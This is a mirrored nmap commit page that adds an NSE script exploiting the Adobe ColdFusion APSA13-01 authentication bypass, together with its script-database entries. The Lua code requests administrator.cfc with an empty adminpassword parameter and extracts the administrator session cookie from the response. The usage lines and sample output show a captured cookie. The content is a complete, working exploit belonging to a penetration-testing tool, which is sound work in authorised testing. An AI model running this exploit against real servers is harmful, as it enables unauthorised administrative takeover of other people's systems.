mirror of
https://github.com/nmap/nmap.git
synced 2025-12-22 07:29:01 +00:00
-Adds NSE script to exploit APSA13-01 in Adobe Coldfusion.
This commit is contained in:
58
scripts/http-adobe-coldfusion-apsa1301.nse
Normal file
58
scripts/http-adobe-coldfusion-apsa1301.nse
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
description = [[
|
||||||
|
Attempts to exploit an authentication bypass vulnerability in Adobe Coldfusion servers (APSA13-01:http://www.adobe.com/support/security/advisories/apsa13-01.html) to retrieve a valid administrator's session cookie.
|
||||||
|
]]
|
||||||
|
|
||||||
|
---
|
||||||
|
-- @usage nmap -sV --script http-adobe-coldfusion-apsa1301 <target>
|
||||||
|
-- @usage nmap -p80 --script http-adobe-coldfusion-apsa1301 --script-args basepath=/cf/adminapi/ <target>
|
||||||
|
--
|
||||||
|
-- @output
|
||||||
|
-- PORT STATE SERVICE
|
||||||
|
-- 80/tcp open http
|
||||||
|
-- | http-adobe-coldfusion-apsa1301:
|
||||||
|
-- |_ admin_cookie: aW50ZXJhY3RpdmUNQUEyNTFGRDU2NzM1OEYxNkI3REUzRjNCMjJERTgxOTNBNzUxN0NEMA1jZmFkbWlu
|
||||||
|
--
|
||||||
|
-- @args http-adobe-coldfusion-apsa1301.basepath URI path to administrator.cfc. Default: /CFIDE/adminapi/
|
||||||
|
--
|
||||||
|
---
|
||||||
|
|
||||||
|
author = "Paulino Calderon <calderon@websec.mx>"
|
||||||
|
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
|
categories = {"exploit", "vuln"}
|
||||||
|
|
||||||
|
local http = require "http"
|
||||||
|
local shortport = require "shortport"
|
||||||
|
local stdnse = require "stdnse"
|
||||||
|
local url = require "url"
|
||||||
|
|
||||||
|
portrule = shortport.http
|
||||||
|
local DEFAULT_PATH = "/CFIDE/adminapi/"
|
||||||
|
local MAGIC_URI = "administrator.cfc?method=login&adminpassword=&rdsPasswordAllowed=true"
|
||||||
|
---
|
||||||
|
-- Extracts the admin cookie by reading CFAUTHORIZATION_cfadmin from the header 'set-cookie'
|
||||||
|
--
|
||||||
|
local function get_admin_cookie(host, port, basepath)
|
||||||
|
local req = http.get(host, port, basepath..MAGIC_URI)
|
||||||
|
if req.header['set-cookie'] then
|
||||||
|
stdnse.print_debug(1, "%s:Header 'set-cookie' detected in response.", SCRIPT_NAME)
|
||||||
|
local _, _, admin_cookie = string.find(req.header['set-cookie'], ";path=/, CFAUTHORIZATION_cfadmin=(.*);path=/")
|
||||||
|
if admin_cookie:len() > 79 then
|
||||||
|
stdnse.print_debug(1, "%s: Extracted cookie:%s", SCRIPT_NAME, admin_cookie)
|
||||||
|
return admin_cookie
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
action = function(host, port)
|
||||||
|
local output_tab = stdnse.output_table()
|
||||||
|
local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or DEFAULT_PATH
|
||||||
|
local cookie = get_admin_cookie(host, port, basepath)
|
||||||
|
if cookie then
|
||||||
|
output_tab.admin_cookie = cookie
|
||||||
|
else
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
return output_tab
|
||||||
|
end
|
||||||
@@ -129,6 +129,7 @@ Entry { filename = "hddtemp-info.nse", categories = { "default", "discovery", "s
|
|||||||
Entry { filename = "hostmap-bfk.nse", categories = { "discovery", "external", "intrusive", } }
|
Entry { filename = "hostmap-bfk.nse", categories = { "discovery", "external", "intrusive", } }
|
||||||
Entry { filename = "hostmap-ip2hosts.nse", categories = { "discovery", "external", } }
|
Entry { filename = "hostmap-ip2hosts.nse", categories = { "discovery", "external", } }
|
||||||
Entry { filename = "hostmap-robtex.nse", categories = { "discovery", "external", "safe", } }
|
Entry { filename = "hostmap-robtex.nse", categories = { "discovery", "external", "safe", } }
|
||||||
|
Entry { filename = "http-adobe-coldfusion-apsa1301.nse", categories = { "exploit", "vuln", } }
|
||||||
Entry { filename = "http-affiliate-id.nse", categories = { "discovery", "safe", } }
|
Entry { filename = "http-affiliate-id.nse", categories = { "discovery", "safe", } }
|
||||||
Entry { filename = "http-apache-negotiation.nse", categories = { "discovery", "safe", } }
|
Entry { filename = "http-apache-negotiation.nse", categories = { "discovery", "safe", } }
|
||||||
Entry { filename = "http-auth-finder.nse", categories = { "discovery", "safe", } }
|
Entry { filename = "http-auth-finder.nse", categories = { "discovery", "safe", } }
|
||||||
@@ -190,6 +191,7 @@ Entry { filename = "http-sitemap-generator.nse", categories = { "discovery", "in
|
|||||||
Entry { filename = "http-slowloris-check.nse", categories = { "safe", "vuln", } }
|
Entry { filename = "http-slowloris-check.nse", categories = { "safe", "vuln", } }
|
||||||
Entry { filename = "http-slowloris.nse", categories = { "dos", "intrusive", } }
|
Entry { filename = "http-slowloris.nse", categories = { "dos", "intrusive", } }
|
||||||
Entry { filename = "http-sql-injection.nse", categories = { "intrusive", "vuln", } }
|
Entry { filename = "http-sql-injection.nse", categories = { "intrusive", "vuln", } }
|
||||||
|
Entry { filename = "http-stored-xss.nse", categories = { "exploit", "intrusive", "vuln", } }
|
||||||
Entry { filename = "http-title.nse", categories = { "default", "discovery", "safe", } }
|
Entry { filename = "http-title.nse", categories = { "default", "discovery", "safe", } }
|
||||||
Entry { filename = "http-tplink-dir-traversal.nse", categories = { "exploit", "vuln", } }
|
Entry { filename = "http-tplink-dir-traversal.nse", categories = { "exploit", "vuln", } }
|
||||||
Entry { filename = "http-trace.nse", categories = { "discovery", "safe", "vuln", } }
|
Entry { filename = "http-trace.nse", categories = { "discovery", "safe", "vuln", } }
|
||||||
|
|||||||
Reference in New Issue
Block a user